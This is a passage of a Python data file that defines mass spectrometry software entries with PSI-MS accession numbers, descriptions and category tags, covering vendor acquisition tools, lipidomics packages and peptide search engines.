u'Shimadzu Corporation software', u'software']),\n SoftwareName(u'dpControl', u'MS:1000720',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'esquireControl', u'MS:1000721',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'HCTcontrol', u'MS:1000725',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'micrOTOFcontrol', u'MS:1000726',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'spControl', u'MS:1000737',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'ChromaTOF HRT software', u'MS:1001877',\n (u'Software for acquisition, processing and analysis of data'\n u'for LECO instruments.'),\n 'software',\n [u'acquisition software', u'analysis software', u'data processing software', u'LECO software', u'software']),\n SoftwareName(u'6300 Series Ion Trap Data Analysis Software', u'MS:1000688',\n (u'Software for data analysis of 6300 series ion trap mass'\n u'spectrometers.'),\n 'software',\n [u'Agilent software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ChromaTOF software', u'MS:1001799',\n (u'Software for acquisition, processing and analysis of data'\n u'for LECO instruments.'),\n 'software',\n [u'acquisition software', u'analysis software', u'data processing software', u'LECO software', u'software']),\n SoftwareName(u'MassHunter Data Acquisition', u'MS:1000678',\n (u'Software for data acquisition of 6000 series instruments.'),\n 'software',\n [u'Agilent software', u'acquisition software', u'software']),\n SoftwareName(u'MassHunter Easy Access', u'MS:1000679',\n (u'Software for open access data acquisition.'),\n 'software',\n [u'Agilent software', u'acquisition software', u'software']),\n SoftwareName(u'GPS Explorer', u'MS:1000661',\n (u'SCIEX or Applied Biosystems software for data acquisition'\n u'and analysis.'),\n 'software',\n [u'SCIEX software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Voyager Biospectrometry Workstation System', u'MS:1000539',\n (u'Applied Biosystems MALDI-TOF data acquisition and analysis'\n u'system.'),\n 'software',\n [u'Applied Biosystems software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Xcalibur', u'MS:1000532',\n (u'Thermo Finnigan software for data acquisition and analysis.'),\n 'software',\n [u'Thermo Finnigan software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MassLynx', u'MS:1000534',\n (u'Micromass software for data acquisition and analysis.'),\n 'software',\n [u'Waters software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'4700 Explorer', u'MS:1000537',\n (u'Applied Biosystems software for data acquisition and'\n u'analysis.'),\n 'software',\n [u'Applied Biosystems software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Data Explorer', u'MS:1000536',\n (u'Applied Biosystems software for data acquisition and'\n u'analysis.'),\n 'software',\n [u'Applied Biosystems software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'4000 Series Explorer Software', u'MS:1000659',\n (u'SCIEX or Applied Biosystems software for data acquisition'\n u'and analysis.'),\n 'software',\n [u'SCIEX software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'FlexControl', u'MS:1000540',\n (u'Bruker software for data acquisition.'),\n 'software',\n [u'Bruker software', u'acquisition software', u'software']),\n SoftwareName(u'SCIEX TOF/TOF Series Explorer Software', u'MS:1001483',\n (u'SCIEX or Applied Biosystems software for TOF/TOF data'\n u'acquisition and analysis.'),\n 'software',\n [u'SCIEX software', u'acquisition software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MALDI Solutions', u'MS:1001558',\n (u'Shimadzu Biotech software for data acquisition, processing,'\n u'and analysis.'),\n 'software',\n [u'acquisition software', u'analysis software', u'data processing software', u'Shimadzu Corporation software', u'software']),\n SoftwareName(u'Lipid-Pro', u'MS:1002972',\n (u'A computational lipid identification solution for untargeted'\n u'lipidomics on data-independent acquisition tandem mass'\n u'spectrometry platforms.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'Trapper', u'MS:1000553',\n (u'A software program for converting Agilent MassHunter format'\n u'to mzXML or mzML. Trapper was originally developed at the'\n u'Institute for Systems Biology.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'CLINPROT', u'MS:1000708',\n (u'Bruker CLINPROT software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'CLINPROT micro', u'MS:1000709',\n (u'Bruker CLINPROT micro software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'BioTools', u'MS:1000707',\n (u'Bruker software for data analysis.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'LipidMatch', u'MS:1002969',\n (u'An automated workflow for rule-based lipid identification'\n u'using untargeted high-resolution tandem mass spectrometry'\n u'data.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'preprocessing software', u'MS:1002386',\n (u'Preprocessing software.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'PEAKS Online', u'MS:1001947',\n (u'PEAKS Online software for high throughput data analysis.'),\n 'software',\n [u'quantitation software name', u'analysis software', u'data processing software', u'software', u'quantification information']),\n SoftwareName(u'PEAKS Studio', u'MS:1001946',\n (u'PEAKS Studio software for data analysis.'),\n 'software',\n [u'quantitation software name', u'analysis software', u'data processing software', u'software', u'quantification information']),\n SoftwareName(u'DataAnalysis', u'MS:1000719',\n (u'Bruker software for data analysis.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'CompassXtract', u'MS:1000718',\n (u'Bruker software library for data access.'),\n 'software',\n [u'Bruker software', u'data processing software', u'software']),\n SoftwareName(u'Compass OpenAccess', u'MS:1000715',\n (u'Bruker compass OpenAccess software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Compass for micrOTOF', u'MS:1000714',\n (u'Bruker Compass for micrOTOF software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'CompassXport', u'MS:1000717',\n (u'Bruker stand-alone software for data conversion.'),\n 'software',\n [u'Bruker software', u'data processing software', u'software']),\n SoftwareName(u'Compass for HCT/esquire', u'MS:1000713',\n (u'Bruker Compass for HCT/esquire software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Compass', u'MS:1000712',\n (u'Bruker Compass software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ALEX123', u'MS:1002977',\n (u'Analysis of lipid experiments 123, a calculator with m/z'\n u'values of intact lipid molecules (MS1) and their fragment'\n u'ions at the MS2 and MS3 level.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'ALEX', u'MS:1002976',\n (u'Analysis of lipid experiments, a calculator for m/z values'\n u'of intact lipid molecules (MS1).'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'LipidFinder', u'MS:1002973',\n (u'A computational workflow for the discovery of lipids for the'\n u'identification of eicosanoid-phosphoinositides in platelets.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'LipidBlast', u'MS:1002971',\n (u'LC-MS-based lipidomics and automated identification of'\n u'lipids using the LipidBlast in-silico MS/MS library.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'Greazy', u'MS:1002970',\n (u'Open-source software for automated phospholipid tandem mass'\n u'spectrometry identification.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'LipidQA', u'MS:1002980',\n (u'Lipid qualitative/quantitative analysis software for'\n u'identification and quantitation of complex lipid molecular'\n u'species.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'flexImaging', u'MS:1000722',\n (u'Bruker software for data analysis.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProfileAnalysis', u'MS:1000728',\n (u'Bruker software for data analysis.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MSDK', u'MS:1002645',\n (u'Mass Spectrometry Development Kit (MSDK) is a Java library'\n u'of algorithms for processing of mass spectrometry data.\"'\n u'[PSI:PI'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'QuantAnalysis', u'MS:1000736',\n (u'Bruker software for data analysis.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'LipidXplorer', u'MS:1002968',\n (u'Software for consensual cross-platform lipidomics.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'MzWiff', u'MS:1000591',\n (u'A software program for converting Applied Biosystems wiff'\n u'file format to the mzXML or mzML format. MzWiff is currently'\n u'maintained at the Institute for Systems Biology. It replaces'\n u'the slower mzStar program.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'LipidHunter', u'MS:1002967',\n (u'Software for identification of phospholipids by high-'\n u'throughput processing of LC-MS and shotgun lipidomics'\n u'datasets.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'Lipid Data Analyzer', u'MS:1002965',\n (u'Lipid Data Analyzer software for lipid quantification.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'SQID', u'MS:1001886',\n (u'Software for data analysis of peptides and proteins.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Maltcms', u'MS:1002344',\n (u'Modular Application Toolkit for Chromatography Mass-'\n u'Spectrometry is an application framework mainly for'\n u'developers.\" [PSI:PI'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MZmine', u'MS:1002342',\n (u'A framework for differential analysis of mass spectrometry'\n u'data.\" [PMID:16403790'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'PepFinder', u'MS:1002524',\n (u'Thermo Scientific PepFinder BioPharma analysis software.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'Spectrum Mill for MassHunter Workstation', u'MS:1000687',\n (u'Software for protein identification and characterization of'\n u'complex protein digest mixtures.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'METLIN', u'MS:1000686',\n (u'Personal Metabolite Database for MassHunter Workstation.'\n u'Software for identification of human metabolites.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MassHunter Mass Profiler', u'MS:1000685',\n (u'Software for quantitation and statistical analysis of TOF'\n u'and Q-TOF LC/MS data.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Genespring MS', u'MS:1000684',\n (u'Software for quantitation and statistical analysis of TOF'\n u'and Q-TOF LC/MS data.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MassHunter BioConfirm', u'MS:1000683',\n (u'Software for protein characterization.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MassHunter Metabolite ID', u'MS:1000682',\n (u'Software for identification of metabolites.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MassHunter Quantitative Analysis', u'MS:1000681',\n (u'Software for quantitation of Triple Quadrupole and'\n u'Quadrupole Time-of-Flight data.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MassHunter Qualitative Analysis', u'MS:1000680',\n (u'Software for data analysis of data from 6000 series'\n u'instruments.'),\n 'software',\n [u'Agilent software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'postprocessing software', u'MS:1002414',\n (u'Postprocessing software.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'XCMS', u'MS:1001582',\n (u'Bioconductor package XCMS for preprocessing high-throughput,'\n u'untargeted analyte profiling data.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'UNIFY', u'MS:1001796',\n (u'Waters UNIFY software for liquid chromatography and mass'\n u'spectrometry acquisition.'),\n 'software',\n [u'Waters software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Empower', u'MS:1001795',\n (u'Waters Empower software for liquid chromatography and mass'\n u'spectrometry acquisition.'),\n 'software',\n [u'Waters software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Pro Quant', u'MS:1000670',\n (u'Applied Biosystems|MDS SCIEX software for protein ID and'\n u'quant by iTRAQ.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Pro BLAST', u'MS:1000671',\n (u'Applied Biosystems|MDS SCIEX software for MS-BLAST'\n u'identification.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MultiQuant', u'MS:1000674',\n (u'Applied Biosystems|MDS SCIEX software for MRM-based'\n u'quantitation.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteinPilot Software', u'MS:1000663',\n (u'SCIEX or Applied Biosystems|MDS SCIEX software for protein'\n u'ID and quant.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'LightSight Software', u'MS:1000662',\n (u'SCIEX or Applied Biosystems|MDS SCIEX software metabolite'\n u'identification.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MarkerView Software', u'MS:1000665',\n (u'Applied Biosystems|MDS SCIEX software for metabolomics and'\n u'biomarker profiling.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TissueView Software', u'MS:1000664',\n (u'Applied Biosystems|MDS SCIEX software for tissue imaging.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'BioAnalyst', u'MS:1000667',\n (u'Applied Biosystems|MDS SCIEX software for bio-related data'\n u'exploration.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MRMPilot Software', u'MS:1000666',\n (u'Applied Biosystems|MDS SCIEX software for MRM assay'\n u'development.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Pro ICAT', u'MS:1000669',\n (u'Applied Biosystems|MDS SCIEX software for protein ID and'\n u'quant by ICAT.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Pro ID', u'MS:1000668',\n (u'Applied Biosystems|MDS SCIEX software for protein'\n u'identification.'),\n 'software',\n [u'SCIEX software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'conversion software', u'MS:1002333',\n (u'Computer software primarily designed to convert data'\n u'represented in one format to another format, sometimes with'\n u'minor data alterations in the process.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'ms_deisotope', u'MS:1002990',\n (u'ms_deisotope, a library for deisotoping and charge state'\n u'deconvolution of mass spectra.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'PEAKS Node', u'MS:1001948',\n (u'PEAKS Node software for high throughput data analysis.'),\n 'software',\n [u'quantitation software name', u'analysis software', u'data processing software', u'software', u'quantification information']),\n SoftwareName(u'massWolf', u'MS:1000538',\n (u'A software for converting Waters raw directory format to'\n u'mzXML or mzML. MassWolf was originally developed at the'\n u'Institute for Systems Biology.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'Bioworks', u'MS:1000533',\n (u'Thermo Finnigan software for data analysis of peptides and'\n u'proteins.'),\n 'software',\n [u'Thermo Finnigan software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'FlexAnalysis', u'MS:1000535',\n (u'Bruker software for data analysis.'),\n 'software',\n [u'Bruker software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Proteome Discoverer', u'MS:1000650',\n (u'Thermo Scientific software for data analysis of peptides and'\n u'proteins.'),\n 'software',\n [u'Thermo Finnigan software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'MSnbase', u'MS:1002870',\n (u'Bioconductor package MSnbase provides infrastructure for'\n u'manipulation, processing and visualization of mass'\n u'spectrometry and proteomics data, ranging from raw to'\n u'quantitative and annotated data.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'CAMERA', u'MS:1002871',\n (u'Bioconductor package CAMERA for annotation of peak lists'\n u'generated by xcms, rule based annotation of isotopes and'\n u'adducts, isotope validation, EIC correlation based tagging'\n u'of unknown adducts and fragments.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'mzR', u'MS:1002869',\n (u'Bioconductor package mzR for reading and writing mass'\n u'spectrometry data files.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'LOBSTAHS', u'MS:1002979',\n (u'Adduct-Based lipidomics software for the discovery and'\n u'identification of oxidative stress biomarkers.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'LIMSA', u'MS:1002978',\n (u'Software tool for the quantitative analysis of mass'\n u'spectrometric lipidome data.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'LipiDex', u'MS:1002974',\n (u'An integrated software package for high-confidence lipid'\n u'identification.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'pymzML', u'MS:1001914',\n (u'Python module to interface mzML Data.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'ReAdW', u'MS:1000541',\n (u'A software program for converting Thermo Finnigan RAW file'\n u'format to mzXML or mzML. ReAdW was originally developed at'\n u'the Institute for Systems Biology. Its whimsical interleaved'\n u'spelling and capitalization is pronounced \\\\\"readraw\\\\\".'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'MzStar', u'MS:1000542',\n (u'A software program for converting Applied Biosystems wiff'\n u'file format to mzXML format. MzStar was originally developed'\n u'at the Institute for Systems Biology. It is now obsoleted by'\n u'the MzWiff program.'),\n 'software',\n [u'data processing software', u'software']),\n SoftwareName(u'Maui', u'MS:1002452',\n (u'The Maltcms Graphical User Interface.\" [PSI:PI'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'TOPP software', u'MS:1000752',\n (u'TOPP (The OpenMS proteomics pipeline) software.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteoWizard software', u'MS:1000615',\n (u'ProteoWizard software for data processing and analysis.'\n u'Primarily developed by the labs of P. Malick and D. Tabb.'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'PinPoint', u'MS:1001912',\n (u'Thermo Scientific PinPoint SRM analysis software.'),\n 'software',\n [u'Thermo Finnigan software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'ProteinLynx Global Server', u'MS:1000601',\n (u'Waters software for data analysis.'),\n 'software',\n [u'Waters software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'Proteios', u'MS:1000600',\n (u'Database application and analysis platform for proteomics.\"'\n u'[PSI:MS'),\n 'software',\n [u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'LIQUID', u'MS:1002975',\n (u'An-open source software for identifying lipids in LC-MS/MS-'\n u'based lipidomics data.'),\n 'software',\n [u'lipidomics analysis software', u'data processing software', u'small molecule analysis software', u'software', u'analysis software']),\n SoftwareName(u'PIA', u'MS:1002387',\n (u'PIA - Protein Inference Algorithms, a toolbox for protein'\n u'inference and identification analysis.\" [PSI:PI'),\n 'software',\n [u'postprocessing software', u'analysis software', u'data processing software', u'software']),\n SoftwareName(u'PepNovo', u'MS:1002982',\n (u'PepNovo tool for de novo peptide sequencing.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'pNovo', u'MS:1002983',\n (u'pNovo tool for de novo peptide sequencing and identification'\n u'using HCD spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Tide', u'MS:1002575',\n (u'Tide open-source sequence search program developed at the'\n u'University of Washington.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Morpheus', u'MS:1002661',\n (u'Morpheus search engine.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'IdentiPy', u'MS:1002987',\n (u'IdentiPy.\" [PMID:29682971'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Mascot Distiller', u'MS:1001488',\n (u'Mascot Distiller.'),\n 'software',\n [u'quantitation software name', u'analysis software', u'software', u'quantification information']),\n SoftwareName(u'IsobariQ', u'MS:1002210',\n (u'A quantitative software package designed for analysis of'\n u'IPTL, TMT and iTRAQ data.\" [PMID:21067241,'\n u'DOI:10.1021/pr1009977'),\n 'software',\n [u'quantitation software name', u'analysis software', u'software', u'quantification information']),\n SoftwareName(u'Ascore software', u'MS:1001984',\n (u'Ascore software.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'ProteinScape', u'MS:1000734',\n (u'Bruker ProteinScape software.'),\n 'software',\n [u'Bruker software', u'analysis software', u'software']),\n SoftwareName(u'greylag', u'MS:1001461',\n (u'Greylag identification software.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Mascot Parser', u'MS:1001478',\n (u'Mascot Parser was used to analyze the spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'SpectraST', u'MS:1001477',\n (u'SpectraST was used to analyze the spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'X\\\\!Tandem', u'MS:1001476',\n (u'X!Tandem was used to analyze the spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'OMSSA', u'MS:1001475',\n (u'Open Mass Spectrometry Search Algorithm was used to analyze'\n u'the spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'mzidLib', u'MS:1002237',\n (u'A library of Java routines for manipulating mzIdentML files.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Pepitome', u'MS:1001588',\n (u'Tabb Lab software for spectral library searches on tandem'\n u'mass spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MaxQuant', u'MS:1001583',\n (u'MaxQuant is a quantitative proteomics software package'\n u'designed for analyzing large mass spectrometric data sets.'\n u'It is specifically aimed at high resolution MS data.'),\n 'software',\n [u'quantitation software name', u'analysis software', u'software', u'quantification information']),\n SoftwareName(u'Comet', u'MS:1002251',\n (u'Comet open-source sequence search engine developed at the'\n u'University of Washington.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Andromeda', u'MS:1002337',\n (u'Andromeda is a peptide search engine.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Amanda', u'MS:1002336',\n (u'Amanda scoring system for PSM identification.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'TopFD', u'MS:1002902',\n (u'Top-down mass spectral feature detection.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'SEQUEST', u'MS:1001208',\n (u'The name of the SEQUEST search engine.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Phenyx', u'MS:1001209',\n (u'The name of the Phenyx search engine.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Mascot', u'MS:1001207',\n (u'The name of the Mascot search engine.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Percolator', u'MS:1001490',\n (u'Percolator.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'small molecule analysis software', u'MS:1002878',\n (u'Software for the analysis of small molecules.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'TopMG', u'MS:1002903',\n (u'A mass graph-based approach for the identification of'\n u'modified proteoforms using top-down tandem mass spectra.\"'\n u'[PMID:28453668'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'TopPIC', u'MS:1002901',\n (u'TopPIC: a software tool for top-down mass spectrometry-based'\n u'proteoform identification and characterization.\"'\n u'[PMID:27423895'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'ProteinExtractor', u'MS:1001487',\n (u'An algorithm for protein determination/assembly integrated'\n u\"into Bruker's ProteinScape.\"),\n 'software',\n [u'Bruker software', u'analysis software', u'software']),\n SoftwareName(u'Mascot Integra', u'MS:1001489',\n (u'Mascot Integra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Byonic', u'MS:1002261',\n (u'Byonic search engine from Protein Metrics.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'PeptideShaker', u'MS:1002458',\n (u'PeptideShaker is a software for the interpretation of'\n u'proteomics identification results.\" [PSI:PI'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'TagRecon', u'MS:1001587',\n (u'Tabb Lab software for reconciling sequence tags to a protein'\n u'database.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'DirecTag', u'MS:1001586',\n (u'Tabb Lab software for generating sequence tags from tandem'\n u'mass spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MyriMatch', u'MS:1001585',\n (u'Tabb Lab software for directly comparing peptides in a'\n u'database to tandem mass spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'PAnalyzer', u'MS:1002076',\n (u'PAnalyzer software for getting protein evidence categories.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'NIST MSPepSearch', u'MS:1002750',\n (u'Search tool of the NIST (National Institute of Standards and'\n u'Technology) for spectral library searches.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Trans-Proteomic Pipeline', u'MS:1002285',\n (u'A suite of open source tools for the processing of MS2'\n u'proteomics data developed by the Seattle Proteome Center at'\n u'the Institute for Systems Biology.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Trans-Proteomic Pipeline software', u'MS:1002286',\n (u'A software program that is a component of the Trans-'\n u'Proteomic Pipeline.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'DTASelect', u'MS:1002598',\n (u'Analysis software designed to reassemble the SEQUEST peptide'\n u'identifications and to highlight the most significant'\n u'matches.\" [PMID:12643522'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MSQuant', u'MS:1001977',\n (u'MSQuant software.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'DeBunker', u'MS:1001973',\n (u'DeBunker software.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Proline', u'MS:1002981',\n (u'The Proline software suite for mass spectrometry based'\n u'proteomics.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Novor', u'MS:1002984',\n (u'Novor real-time peptide de novo sequencing software tool.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Scaffold', u'MS:1001561',\n (u'Scaffold analysis software.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'ProLuCID', u'MS:1002596',\n (u'The SEQUEST-like sequence search engine ProLuCID, developed'\n u'in the Yates Lab at the Scripps Research Institute.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'xiFDR', u'MS:1002543',\n (u'Target/Decoy based FDR estimation for cross-linking peptide-'\n u'identifications.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Skyline mzQuantML converter', u'MS:1002546',\n (u'A software package to convert Skyline report to mzQuantML.\"'\n u'[PSI:PI'),\n 'software',\n [u'quantitation software name', u'analysis software', u'software', u'quantification information']),\n SoftwareName(u'xi', u'MS:1002544',\n (u'Search engine for cross-linked peptides.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MSPathFinder', u'MS:1002720',\n (u'PNNL top-down/bottom-up analysis software for identifying'\n u'peptides and proteoforms in fragmentation mass spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MetaMorpheus', u'MS:1002826',\n (u'MetaMorpheus search engine.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MS-GF', u'MS:1002047',\n (u'MS-GF software used to re-score the peptide-spectrum'\n u'matches.\" [DOI:10.1074/mcp.M110.003731'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'ProteinProspector', u'MS:1002043',\n (u'ProteinProspector software for data acquisition and'\n u'analysis.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'MS-GF+', u'MS:1002048',\n (u'MS-GF+ software used to analyze the spectra.'),\n 'software',\n [u'analysis software', u'software']),\n SoftwareName(u'Cliquid', u'MS:1000672',\n (u'SCIEX Cliquid software for data analysis and quantitation.'),\n 'software',\n [u'SCIEX software', u'software']),\n SoftwareName(u'MIDAS Workflow Designer', u'MS:1000673',\n (u'Applied Biosystems|MDS SCIEX software for MRM assay'\n u'development.'),\n 'software',\n [u'SCIEX software', u'software']),\n SoftwareName(u'Compass Security Pack', u'MS:1000716',\n (u'Bruker compass Security Pack 